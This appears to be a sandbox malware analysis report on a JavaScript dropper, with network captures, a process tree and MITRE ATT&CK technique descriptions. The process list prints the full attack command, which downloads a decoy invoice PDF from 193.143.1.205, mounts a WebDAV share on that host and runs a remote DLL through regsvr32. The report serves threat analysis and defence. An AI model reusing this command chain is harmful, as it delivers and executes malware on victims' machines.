Jan 16, 2025 09:17:10.141138077 CET	49714	80	192.168.2.5	23.209.209.135
Jan 16, 2025 09:17:10.146097898 CET	80	49714	23.209.209.135	192.168.2.5
Jan 16, 2025 09:17:10.146378994 CET	49714	80	192.168.2.5	23.209.209.135
Jan 16, 2025 09:17:10.146379948 CET	49714	80	192.168.2.5	23.209.209.135
Jan 16, 2025 09:17:10.151259899 CET	80	49714	23.209.209.135	192.168.2.5
Jan 16, 2025 09:17:10.774771929 CET	80	49714	23.209.209.135	192.168.2.5
Jan 16, 2025 09:17:10.774790049 CET	80	49714	23.209.209.135	192.168.2.5
Jan 16, 2025 09:17:10.774847031 CET	49714	80	192.168.2.5	23.209.209.135
Jan 16, 2025 09:18:11.783720016 CET	49714	80	192.168.2.5	23.209.209.135
Jan 16, 2025 09:18:11.789351940 CET	80	49714	23.209.209.135	192.168.2.5
Jan 16, 2025 09:18:11.789459944 CET	49714	80	192.168.2.5	23.209.209.135

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 09:17:10.128633976 CET	61229	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 16, 2025 09:17:10.128633976 CET	192.168.2.5	1.1.1.1	0x59e1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 16, 2025 09:17:10.136169910 CET	1.1.1.1	192.168.2.5	0x59e1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 09:17:10.136169910 CET	1.1.1.1	192.168.2.5	0x59e1	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 09:17:10.136169910 CET	1.1.1.1	192.168.2.5	0x59e1	No error (0)	e8652.dscx.akamaiedge.net		23.209.209.135	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:17:10.877202988 CET	1.1.1.1	192.168.2.5	0x5fee	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 16, 2025 09:17:10.877202988 CET	1.1.1.1	192.168.2.5	0x5fee	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

x1.i.lencr.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	7420	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 09:16:59.990251064 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 16, 2025 09:17:00.806566954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 16 Jan 2025 08:17:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 16, 2025 09:17:00.806612015 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 16, 2025 09:17:00.806648016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 16, 2025 09:17:00.806680918 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 16, 2025 09:17:00.806715012 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 16, 2025 09:17:00.806747913 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 16, 2025 09:17:00.806781054 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 16, 2025 09:17:00.806813955 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 16, 2025 09:17:00.806845903 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 16, 2025 09:17:00.806880951 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 16, 2025 09:17:00.811755896 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	7656	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 09:17:02.687685013 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 16, 2025 09:17:03.524384022 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Thu, 16 Jan 2025 08:17:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	23.209.209.135	80	7852	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 09:17:10.146379948 CET	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Jan 16, 2025 09:17:10.774771929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=79300 Expires: Fri, 17 Jan 2025 06:18:50 GMT Date: Thu, 16 Jan 2025 08:17:10 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urIAv5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0*HUX
Jan 16, 2025 09:17:10.774790049 CET	509	IN	Data Raw: a9 bc b2 a8 50 d0 0c b1 d8 1a 69 20 27 29 08 ac 61 75 5c 8a 6e f8 82 e5 69 2f d5 f6 56 4b b9 b8 73 10 59 d3 21 97 7e e7 4c 71 fb b2 d2 60 ad 39 a8 0b ea 17 21 56 85 f1 50 0e 59 eb ce e0 59 e9 ba c9 15 ef 86 9d 8f 84 80 f6 e4 e9 91 90 dc 17 9b 62 Data Ascii: Pi ')au\ni/VKsY!~Lq`9!VPYYbEf\|o;'}~"+"4[XT&3L-<W,N;1"ss993#L<U)"k;W:pMMl]+NEJ&rj

Target ID:	0
Start time:	03:16:55
Start date:	16/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js"
Imagebase:	0x7ff7fcaa0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:16:56
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll
Imagebase:	0x7ff659640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:16:56
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:16:56
Start date:	16/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:17:01
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:17:01
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff659640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:17:01
Start date:	16/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6395d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:17:01
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:17:02
Start date:	16/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:17:02
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1632,i,4704499646644094334,4201205311762563793,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

